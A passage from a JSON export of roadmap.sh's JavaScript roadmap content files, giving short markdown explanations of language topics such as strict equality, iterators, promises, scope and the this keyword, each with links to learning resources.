    "content": "# isStrictlyEqual\n\n[isStrictlyEqual](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality) checks whether its two operands are equal, returning a `Boolean` result. It always considers operands of different types to be different.\n\nVisit the following resources to learn more:\n\n- [@article@Strictly Equality (===) Operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Strict_equality)\n- [@article@Comparison - javascript.info](https://javascript.info/comparison)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/iterators-and-generators@TZ8XGdykSJjKBjX6Nivwo.md",
    "content": "# Javascript Iterators and Generators\n\nIterators and generators, introduced into JavaScript with ECMAScript 6, represent an extremely useful concept related to iteration in the language. Iterators are objects, abiding by the iterator protocol, that allows us to easily iterate over a given sequence in various ways, such as using the `for...of` loop. Generators, on the other hand, allow us to use functions and the `yield` keyword to easily define iterable sequences that are iterators as well.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Iterators - Advanced JavaScript](https://www.codeguage.com/courses/advanced-js/iteration-introduction)\n- [@article@A Detailed Discussion on Iterators - Advanced JavaScript](https://www.codeguage.com/courses/advanced-js/iteration-iterators)\n- [@article@What Exactly Are Generators? - Advanced JavaScript](https://www.codeguage.com/courses/advanced-js/iteration-generators)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/javascript-versions@SFPsWnVpZBAw3_re7op4h.md",
    "content": "# Javascript Versions\n\nJavaScript, invented by Brendan Eich, achieved the status of an ECMA standard in 1997 and adopted the official name ECMAScript. This language has evolved through several versions, namely ES1, ES2, ES3, ES5, and the transformative ES6. These updates have played a crucial role in improving and standardizing JavaScript, making it widely used and valuable in the ever-changing field of web development.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Versions: How JavaScript has changed over the years](https://www.educative.io/blog/javascript-versions-history)\n- [@roadmap.sh@Brief History of JavaScript](https://roadmap.sh/guides/history-of-javascript)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/json@bFNvtHp97OzKnPJgr7WaH.md",
    "content": "# JSON\n\nJavaScript Object Notation (JSON) is a standard text-based format for representing structured data based on JavaScript object syntax. It is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa).\n\nVisit the following resources to learn more:\n\n- [@article@Working with JSON](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON)\n- [@video@JSON Tutorial for Beginners](https://www.youtube.com/watch?v=iiADhChRriM)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/keyed-collections@rhJrrqkRqy2Qw_he4SPGz.md",
    "content": "# Keyed Collections\n\nKeyed collections are data collections that are ordered by key not index. They are associative in nature. Map and set objects are keyed collections and are iterable in the order of insertion.\n\nVisit the following resources to learn more:\n\n- [@article@Keyed collections](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Keyed_collections)\n- [@article@ES6 keyed collections- Maps and sets](https://blog.logrocket.com/es6-keyed-collections-maps-and-sets/)\n- [@video@Creating keyed collection](https://youtu.be/4UqSqF4foy4)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/let@kDRa9G3pMp0Cb0mqYUawM.md",
    "content": "# [let] keyword\n\nThe `let` declaration declares a block-scoped local variable, optionally initializing it to a value.\n\nVisit the following resources to learn more:\n\n- [@article@let keyword - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)\n- [@article@JavaScript Variables](https://javascript.info/variables)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/lexical-scoping@q7b5iMJ1Lfka5A-K-YcaN.md",
    "content": "# Lexical scoping\n\nBefore one can make an intuition of closures in JavaScript, it's important to first get the hang of the term '**_lexical environment_**'. In simple words, the lexical environment for a function `f` simply refers to the environment enclosing that function's definition in the source code.\n\nVisit the following resources to learn more:\n\n- [@article@What is a lexical environment? - JavaScript - CodeGuage](https://www.codeguage.com/courses/js/functions-closures#What_is_a_lexical_environment)\n- [@article@Lexical scoping - JavaScript - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures#lexical_scoping)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/logical-operators@bo4SvzU4BrPl3c99zW7Y5.md",
    "content": "# Logical Operators\n\nThere are four logical operators in JavaScript: `||` (OR), `&&` (AND), `!` (NOT), `??` (Nullish Coalescing).\n\nVisit the following resources to learn more:\n\n- [@article@Logical Operators - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#binary_logical_operators)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/loops-and-iterations@YD-2l_amfqqqCdtc_Zdzo.md",
    "content": "# Loops and Iterations\n\nLoops offer a quick and easy way to do something repeatedly.\n\nYou can think of a loop as a computerized version of the game where you tell someone to take X steps in one direction, then Y steps in another. For example, the idea \"Go five steps to the east\" could be expressed this way as a loop:\n\n```js\nfor (let step = 0; step < 5; step++) {\n  // Runs 5 times, with values of step 0 through 4.\n  console.log('Walking east one step');\n}\n```\n\nVisit the following resources to learn more:\n\n- [@article@Loops and iteration](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/map@Xc0jL4rafpI-ixIaAxo9O.md",
    "content": "# Map\n\n[Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map) is a collection of keyed data items, just like an `Object`. But the main difference is that `Map` allows keys of any type.\n\nVisit the following resources to learn more:\n\n- [@article@Map - Keyed Collections](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map)\n- [@article@Map Data Type](https://javascript.info/map-set#map)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/memory-lifecycle@ZR2WfH1cerA-V_kaPwRvm.md",
    "content": "# Memory lifecycle\n\nRegardless of the programming language, the memory life cycle is pretty much always the same:\n\n- Allocate the memory you need\n- Use the allocated memory (read, write)\n- Release the allocated memory when it is not needed anymore\n\nThe second part is explicit in all languages. The first and last parts are explicit in low-level languages but are mostly implicit in high-level languages like JavaScript.\n\nVisit the following resources to learn more:\n\n- [@article@MDN docs - Memory Management](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management)\n- [@article@Lifecycle in Memory Management](https://medium.com/swlh/the-lifecycle-of-memory-in-javascript-5b5bffc5ff4c)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/memory-management@MatU4SthAAhByJ40XdZQn.md",
    "content": "# Memory Management\n\nLow-level languages like C, have manual memory management primitives such as `malloc()` and `free()`. In contrast, JavaScript automatically allocates memory when objects are created and frees it when they are not used anymore (garbage collection). This automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Garbage Collection](https://javascript.info/garbage-collection)\n- [@article@Memory Management in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/modules-in-javascript@hLnJlwnECFbVMeFpH0M5Q.md",
    "content": "# Modules\n\nModules encapsulate all sorts of code like functions and variables and expose all this to other files. Generally, we use it to break our code into separate files to make it more maintainable. They were introduced into JavaScript with ECMAScript 6.\n\nVisit the following resources to learn more:\n\n- [@article@Modules, introduction](https://javascript.info/modules-intro)\n- [@article@Export and Import](https://javascript.info/import-export)\n- [@article@Dynamic imports](https://javascript.info/modules-dynamic-imports)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/null@CxyNyFMuTLS3owtRMgClD.md",
    "content": "# null\n\nThe `null` value in JavaScript signifies the deliberate absence of any object value. It is considered as one of JavaScript's primitive values and a `falsy` value.\n\n*Deliberate absence* emphasises the intentional use of `null` to indicate that a variable does not point to any object. This explicit declaration conveys the purposeful nature of null, showing that the variable is meant to be empty or non-existent at execution time.\n\nIn essence, `null` is a way to reset a variable, signalling that it should not reference any object.\n\nVisit the following resources to learn more:\n\n- [@article@What is null in JavaScript](https://www.altcademy.com/blog/what-is-null-in-javascript/)\n- [@article@null in JavaScript](https://masteringjs.io/tutorials/fundamentals/null)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/number@GZ_SXsWmP7AsXRTc4WUMw.md",
    "content": "# number\n\nThe `Number` data type in JavaScript represents floating-point numbers, such as 37 or -9.25. The `Number` constructor provides constants and methods to work with numbers, and values of other types can be converted to numbers using the `Number()` function.\n\n## Example\n\n```js\nlet num1 = 255; // integer\nlet num2 = 255.0; // floating-point number with no fractional part\nlet num3 = 0xff; // hexadecimal notation\nlet num4 = 0b11111111; // binary notation\nlet num5 = 0.255e3; // exponential notation\n\nconsole.log(num1 === num2); // true\nconsole.log(num1 === num3); // true\nconsole.log(num1 === num4); // true\nconsole.log(num1 === num5); // true\n```\n\nIn this example:\n\n- `255` and `255.0` are equivalent, as JavaScript treats both as the same number.\n- `0xff` represents `255` in hexadecimal notation.\n- `0b11111111` represents `255` in binary notation.\n- `0.255e3` is `255` in exponential notation.\n- All these different representations are equal to `255` in JavaScript.\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/object-prototype@0I6dJE0ygXPGjeRAe8AtT.md",
    "content": "# Prototypes\n\nJavaScript is an object-oriented language built around a prototype model. In JavaScript, every object inherits properties from its prototype, if there are any. A prototype is simply an object from which another object inherits properties. To create complex programs using JavaScript, one has to be proficient in working with prototypes — they form the very core of OOP in the language.\n\nVisit the following resources to learn more:\n\n- [@article@Prototypes in JavaScript - A Comprehensive Guide](https://www.codeguage.com/courses/js/objects-prototypes)\n- [@article@Prototypes, Inheritance](https://javascript.info/prototypes)\n- [@article@Object prototypes - MDN](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes)\n- [@video@Prototype in Javascript - Object Prototype](https://www.youtube.com/watch?v=583MGxjypgU)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/object@xe8HZ8Mt1fK8yJMcDPYHJ.md",
    "content": "# Object\n\nJavaScript object is a data structure that allows us to have key-value pairs; so we can have distinct keys and each key is mapped to a value that can be of any JavaScript data type. Comparing it to a real-world object, a pen is an object with several properties such as color, design, the material it is made of, etc. In the same way, JavaScript objects can have properties that define their characteristics.\n\nVisit the following resources to learn more:\n\n- [@article@Objects](https://javascript.info/object)\n- [@article@Working with Objects](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/objectis@ATma3bLKdmWY_WTsPIKxh.md",
    "content": "# Object.is\n\nThe Object.is() static method determines whether two values are the same value.\n\n```js\nconsole.log(Object.is('1', 1));\n// Expected output: false\n\nconsole.log(Object.is(NaN, NaN));\n// Expected output: true\n\nconsole.log(Object.is(-0, 0));\n// Expected output: false\n\nconst obj = {};\nconsole.log(Object.is(obj, {}));\n// Expected output: false\n```\n\nVisit the following resources to learn more:\n\n- [@article@Object.is() - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/is)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/promises@yXSF5gGST7l2X-4z1g0d_.md",
    "content": "# Promises\n\nPromises are a much better way to work with asynchronous code in JavaScript than the old and error-prone callback approach. They were introduced into JavaScript with ECMAScript 6. Using promises, we can manage extremely complex asynchronous code with rigorous error-handling setup, write code in a more or less synchronous style, and keep ourselves from running into the so-called callback hell.\n\nVisit the following resources to learn more:\n\n- [@article@A Detailed Introduction to Promises](https://www.codeguage.com/courses/advanced-js/promises-introduction)\n- [@article@JavaScript Promises - Basics](https://www.codeguage.com/courses/advanced-js/promises-basics)\n- [@article@JavaScript Promises - Chaining](https://www.codeguage.com/courses/advanced-js/promises-chaining)\n- [@article@JavaScript Promises - Error Handling](https://www.codeguage.com/courses/advanced-js/promises-error-handling)\n- [@video@JavaScript Promises - Visualized](https://youtu.be/Xs1EMmBLpn4)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/prototypal-inheritance@Xge6eru1hRGobnOEHLZqv.md",
    "content": "# Prototypal Inheritance\n\nThe Prototypal Inheritance is a feature in javascript used to add methods and properties in objects. It is a method by which an object can inherit the properties and methods of another object. Traditionally, in order to get and set the Prototype of an object, we use Object.getPrototypeOf and Object.setPrototypeOf.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain)\n- [@article@Prototype Inheritance](https://javascript.info/prototype-inheritance)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/recursion@YJGhhFuWmFvhRKOg6nwON.md",
    "content": "# Recursion\n\nOne of the most powerful and elegant concept of functions, recursion is when a function invokes itself. Such a function is called a **_recursive function_**. As recursion happens, the underlying code of the recursive function gets executed again and again until a terminating condition, called the _base case_, gets fulfilled. As you dive into the world of algorithms, you'll come across recursion in many many instances.\n\nVisit the following resources to learn more:\n\n- [@article@Recursion and Stack](https://javascript.info/recursion)\n- [@article@JavaScript Function Recursions - CodeGuage](https://www.codeguage.com/courses/js/functions-recursions)\n- [@article@Recursion - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Recursion)\n- [@feed@Explore top posts about Recursion](https://app.daily.dev/tags/recursion?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/rest@-_6q0bIjQrvAaCWrVkASO.md",
    "content": "# Rest Parameters\n\nThe rest parameter syntax allows a function to accept an indefinite number of arguments as an array, providing a way to represent [variadic functions](https://en.wikipedia.org/wiki/Variadic_function) in JavaScript.\n\nVisit the following resources to learn more:\n\n- [@article@Rest Parameters - MDN Docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters)\n- [@feed@Explore top posts about REST API](https://app.daily.dev/tags/rest-api?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/samevalue@nfMrC0eoXZl72H4o3VFEP.md",
    "content": "# Same value\n\n[SameValue](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#same-value_equality_using_object.is) equality determines whether two values are functionally identical in all contexts.\n\nVisit the following resources to learn more:\n\n- [@article@Same-value equality using Object.is()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#same-value_equality_using_object.is)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/samevaluezero@fL3B2hkTgMb0oEwMiWJtK.md",
    "content": "# Same value zero\n\n[SameValueZero](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#same-value-zero_equality) equality determines whether two values are functionally identical in all contexts with +0 and -0 are also considered equal.\n\nVisit the following resources to learn more:\n\n- [@article@Same-value-zero equality](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness#same-value-zero_equality)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/scope--function-stack@ISNzEYtrWe2v0R7Xfl5k-.md",
    "content": "# Scope and function stack\n\n## Scope\n\nA space or environment in which a particular variable or function can be accessed or used. Accessibility of this variable or function depends on where it is defined.\n\nJavaScript has the following kinds of scopes:\n\n- **Global scope**: The default scope for all code running in script mode.\n- **Module scope**: The scope for code running in module mode.\n- **Function scope**: The scope created with a function.\n- **Block scope**: The scope created with a pair of curly braces (a block).\n\n## Function Stack (Call stack)\n\nThe function stack is how the interpreter keeps track of its place in a script that calls multiple functions, like which function is currently executing and which functions within that function are being called.\n\nVisit the following resources to learn more:\n\n- [@article@Function stack (call stack) - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Call_stack)\n- [@article@Kinds of Scope - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Scope)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/set@sciU68E13mcfL577y6Vim.md",
    "content": "# Set\n\nThe `Set` object lets you store unique values of any type, whether [primitive](https://developer.mozilla.org/en-US/docs/Glossary/Primitive) values or object references. A value in the `Set` may only occur once; it is unique in the `Set`'s collection.\n\nVisit the following resources to learn more:\n\n- [@article@Set - JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)\n- [@article@Set - ExploringJS](https://exploringjs.com/impatient-js/ch_sets.html)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/setinterval@jaC3XXudd7OBKwwCpoPFf.md",
    "content": "# setInterval\n\nThe `setInterval()` method helps us to repeatedly execute a function after a fixed delay. It returns a unique interval ID which can later be used by the `clearInterval()` method, which stops further repeated execution of the function.\n\n`setInterval()` is similar to setTimeout, with a difference. Instead of running the callback function once, it will run it forever, at the specific time interval you specify (in milliseconds):\n\nVisit the following resources to learn more:\n\n- [@article@Scheduling: setTimeout and setInterval](https://javascript.info/settimeout-setinterval)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/settimeout@wXypuqEmFLIubx-QQvDIr.md",
    "content": "# setTimeout\n\nThe setTimeout runs a function after the specified period expires. Times are declared in milliseconds.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout)\n- [@video@setInterval and setTimeout: timing events](https://www.youtube.com/watch?v=kOcFZV3c75I)\n- [@video@Learn JavaScript setTimeout() in 6 minutes!](https://www.youtube.com/watch?v=shWr5DNVeCI)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/strict-mode@Xw8lb0xCWKmNs4KZfhBUy.md",
    "content": "# Strict Mode\n\nJavaScript's strict mode is a way to opt-in to a restricted variant of JavaScript, thereby implicitly opting out of \"sloppy mode\". Strict mode isn't just a subset: it intentionally has different semantics from regular code. Browsers not supporting strict mode will run strict mode code with different behavior from browsers that do, so don't rely on strict mode without feature-testing for support for the relevant aspects of strict mode. Strict mode code and non-strict mode code can coexist so that scripts can opt into strict mode incrementally.\n\nStrict mode makes several changes to normal JavaScript semantics:\n\n- Eliminates some JavaScript silent errors by changing them to throw errors.\n- Fixes mistakes that make it difficult for JavaScript engines to perform optimizations: strict mode code can sometimes run faster than identical code that's not strict mode.\n- Prohibits some syntax likely to be defined in future versions of ECMAScript.\n\nVisit the following resources to learn more:\n\n- [@article@Strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)\n- [@article@Strict mode in JavaScript](https://javascript.info/strict-mode)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/string-operators@c38b6t5f17Zg2O2yg3eFP.md",
    "content": "# String Operators\n\nIn addition to the comparison operators, which can be used on string values, the concatenation operator (`+`) concatenates two string values together, returning another string that is the union of the two operand strings.\n\nThe shorthand assignment operator `+=` can also be used to concatenate strings.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Tutorials](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#string_operators)\n- [@article@String Concatenation - JavaScript.info](https://javascript.info/operators#string-concatenation-with-binary)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/string@1RcwBHU3jzx0YxxUGZic4.md",
    "content": "# String\n\nString is a primitive type that holds a sequence of characters. String in Javascript is written within a pair of single quotation marks `''`, double quotation marks `\"\"`, or backticks ` `` ` (template literals). All types of quotes can be used to contain a string but only if the starting quote is the same as the end quote.\n\nVisit the following resources to learn more:\n\n- [@article@String](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)\n- [@article@JavaScript Strings](https://javascript.info/string)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/structured-data@JwLGAuSOTyZ5BHSqeBDU6.md",
    "content": "# Structured data\n\nStructured data is used by search-engines, like Google, to understand the content of the page, as well as to gather information about the web and the world in general.\n\nIt is also coded using in-page markup on the page that the information applies to.\n\nVisit the following resources to learn more:\n\n- [@article@Google Developers docs](https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/subtopic-node@_JUZE26_bShEpWNjLXzga.md",
    "content": "# subtopic node"
  },
  {
    "path": "src/data/roadmaps/javascript/content/switch@H_QlcUlavKKfcNK8CYAvb.md",
    "content": "# Switch Case\n\nThe `switch` statement evaluates an expression, matching the expression's value against a series of `case` clauses, and executes statements after the first `case` clause with a matching value, until a `break` statement is encountered. The `default` clause of a `switch` statement will be jumped to if no `case` matches the expression's value.\n\n## Example\n\n```js\nswitch (expression) {\n  case value1:\n    //Statements executed when the result of expression matches value1\n    break;\n  case value2:\n    //Statements executed when the result of expression matches value2\n    break;\n  ...\n  case valueN:\n    //Statements executed when the result of expression matches valueN\n    break;\n  default:\n    //Statements executed when none of the values match the value of the expression\n    break;\n}\n```\n\nVisit the following resources to learn more:\n\n- [@article@switch - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)\n- [@article@The `switch` Statement: Why, What and How - CodeGuage](https://www.codeguage.com/courses/js/conditions-switch)\n- [@article@The switch statement - javascript.info](https://javascript.info/switch)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/symbol@R6ICrk6vjoBxx5nRGo4Jg.md",
    "content": "# Symbol\n\nSymbols are a unique and immutable primitive data type in JavaScript, introduced in ECMAScript 6 (ES6). They are often used to create unique property keys for objects, ensuring no property key collisions occur. Each Symbol value is distinct, even when multiple are created with the same description. Symbols can be created using the Symbol() function, and their primary use case is to add hidden or special properties to objects that won’t interfere with other properties or methods.\n\nLearn more from the following resources:\n\n- [@article@Symbol data type in JavaScript](https://www.javascripttutorial.net/symbol/)\n- [@article@Symbol type](https://javascript.info/symbol)\n- [@article@Symbol](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)\n- [@video@Symbols in Javascript](https://www.youtube.com/watch?v=E5Bblr-SFbA)\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/throw-statement@ReGIniyLYl5hGExchrJd2.md",
    "content": "# Throw Statement\n\nThe throw statement throws a user-defined exception. Execution of the current function will stop (the statements after throw won't be executed), and control will be passed to the first catch block in the call stack. If no catch block exists among caller functions, the program will terminate. (excerpt from MDN)\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-us/docs/web/javascript/reference/statements/throw)\n- [@article@Error Handling](https://javascript.info/error-handling)\n- [@article@\"Throw\" operator](https://javascript.info/try-catch#throw-operator)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/trycatchfinally@rbjEZe5vxCJ8reI1oZ-jf.md",
    "content": "# Try, Catch, Finally\n\nThese are ways of handling errors in your JavaScript code. Inside the try code block we have the code to run, inside the catch block we handle the errors, and inside the finally block we have code that runs after the execution of the previous code blocks, regardless of the result.\n\nVisit the following resources to learn more:\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/type-casting@XPmBieVCXvL3WbWkYRoKr.md",
    "content": "# Type Casting\n\nType conversion (or typecasting) means the transfer of data from one data type to another. Implicit conversion happens when the compiler (for compiled languages) or runtime (for script languages like [JavaScript](https://developer.mozilla.org/en-US/docs/Glossary/JavaScript)) automatically converts data types. The source code can also explicitly require a conversion to take place.\n\nVisit the following resources to learn more:\n\n- [@article@Type Conversions](https://javascript.info/type-conversions)\n- [@article@Type Casting in JavaScript](https://www.tutorialspoint.com/type-casting-in-javascript)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/type-conversion-vs-coercion@_Bo2YZqZ_gY35SLPML4T6.md",
    "content": "# Type Conversion/Coercion\n\nType coercion is the automatic or implicit conversion of values from one data type to another (such as strings to numbers). Type conversion is similar to type coercion because they convert values from one data type to another with one key difference — type coercion is implicit. In contrast, type conversion can be either implicit or explicit.\n\nVisit the following resources to learn more:\n\n- [@article@Type Conversion - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Type_Conversion)\n- [@article@Type Coercion - MDN](https://developer.mozilla.org/en-US/docs/Glossary/Type_coercion)\n- [@video@Type Conversion and Coercion video](https://www.youtube.com/watch?v=jfQyMPzPTjY)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/typed-arrays@8X1mdQ3NDBVOZZWBbAFRE.md",
    "content": "# Typed Arrays\n\nIn Javascript, a typed array is an array-like buffer of binary data. There is no JavaScript property or object named TypedArray, but properties and methods can be used with typed array objects.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript typed arrays](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays)\n- [@video@Intro to Typed Arrays in JavaScript](https://www.youtube.com/watch?v=UYkJaW3pmj0)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/typeof-operator@RRACLQ6-aopkxImIp3Toc.md",
    "content": "# `typeof` Operator\n\nYou can use the typeOf operator to find the data type of a JavaScript variable. It returns a string indicating the type of provided operand's value.\n\nVisit the following resources to learn more:\n\n- [@article@typeof Reference](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/unary-operators@k9rSR-YQ8B_iRcXNm2btP.md",
    "content": "# Unary Operators\n\nJavaScript Unary Operators are the special operators that consider a single operand and perform all the types of operations on that single operand. These operators include unary plus, unary minus, prefix increments, postfix increments, prefix decrements, and postfix decrements.\n\nVisit the following resources to learn more:\n\n- [@article@Unary Operators in JavaScript](https://www.educba.com/unary-operators-in-javascript/)\n- [@article@Unary Operators - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators#unary_operators)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/undefined@ZLs0NKM0lrnOy5ATDhlk0.md",
    "content": "# undefined\n\nundefined is a Primitive data type in Javascript.\n\nWhenever a variable is declared but not initialized or assigned a value, then it is stored as undefined. A function returns undefined if a value was not returned. A method or statement also returns undefined if the variable that is being evaluated does not have an assigned value.\n\nVisit the following resources to learn more:\n\n- [@video@undefined in JS](https://www.youtube.com/watch?v=B7iF6G3EyIk&list=PLlasXeu85E9cQ32gLCvAvr9vNaUccPVNP&index=8)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/using-browser-devtools@rc5WzBBOm2cus-rQl8EOE.md",
    "content": "# JavaScript Chrome Dev Tools\n\nThese are a set of tools built into the browser to aid frontend developers diagnose and solve various issues in their applications — such as JavaScript and logical bugs, CSS styling issues or even just making quick temporary alterations to the DOM.\n\nTo enter the dev tools, right click and click **Inspect** (or press `ctrl+shift+c`/`cmd+opt+c`) to enter the Elements panel. Here you can debug CSS and HTML issues. If you want to see logged messages or interact with javascript, enter the **Console** tab from the tabs above (or press `ctrl+shift+j` or `F12` / `cmd+opt+j` to enter it directly). Another very useful feature in the Chrome dev tools is the Lighthouse (for checking performance).\n\nNOTE: This isn't a chrome-specific feature, and most browsers (Chromium based or otherwise) will have their own, largely-similar set of devtools.\n\nVisit the following resources to learn more:\n\n- [@official@Official Docs](https://developer.chrome.com/docs/devtools/)\n- [@official@Debug JavaScript with Chrome Dev Tools](https://developer.chrome.com/docs/devtools/javascript/)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/using-it-alone@qps2Mdm-lwa4Wr0IxKm0C.md",
    "content": "# Using this alone\n\nThe keyword `this` when used alone refers to the global object.\n\n_Note: in a browser window the global object is the `window` object._\n\nVisit the following resources to learn more:\n\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/using-this-keyword@fm2CuL1IZp3hnrLrPUX7U.md",
    "content": "# This Keyword\n\nIn JavaScript, the `this` keyword is a little different compared to other languages. It refers to an object, but it depends on how or where it is being invoked. It also has some differences between strict mode and non-strict mode.\n\n- In an object method, `this` refers to the object\n- Alone, `this` refers to the global object\n- In a function, `this` refers to the global object\n- In a function, in strict mode, `this` is undefined\n- In an event, `this` refers to the element that received the event\n- Methods like call(), apply(), and bind() can refer `this` to any object\n\nVisit the following resources to learn more:\n\n- [@article@This Keyword](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/var@JSjeM8qnBg4onXq9mn5gB.md",
    "content": "# [var] keyword\n\nThe var statement declares a function-scoped or globally-scoped variable, optionally initializing it to a value.\n\nVisit the following resources to learn more:\n\n- [@article@var keyword - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)\n- [@article@JavaScript Variables](https://javascript.info/variables)\n- [@video@Declaring Variables without Var, Let, Const - What Would Happen?](https://www.youtube.com/watch?v=6UAKBYpUC-Y)\n"
  },
  {
    "path": "src/data/roadmaps/javascript/content/variable-declarations@BqbAWt--Guqex-rrb4ZUv.md",
    "content": "# Variable Declarations\n\nTo use variables in JavaScript, we first need to create it i.e. declare a variable. To declare variables, we use one of the `var`, `let`, or `const` keywords.\n\nVisit the following resources to learn more:\n\n- [@article@Storing the information you need — Variables](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables)\n- [@article@JavaScript Variables - CodeGuage](https://www.codeguage.com/courses/js/variables)\n"
  },
  {
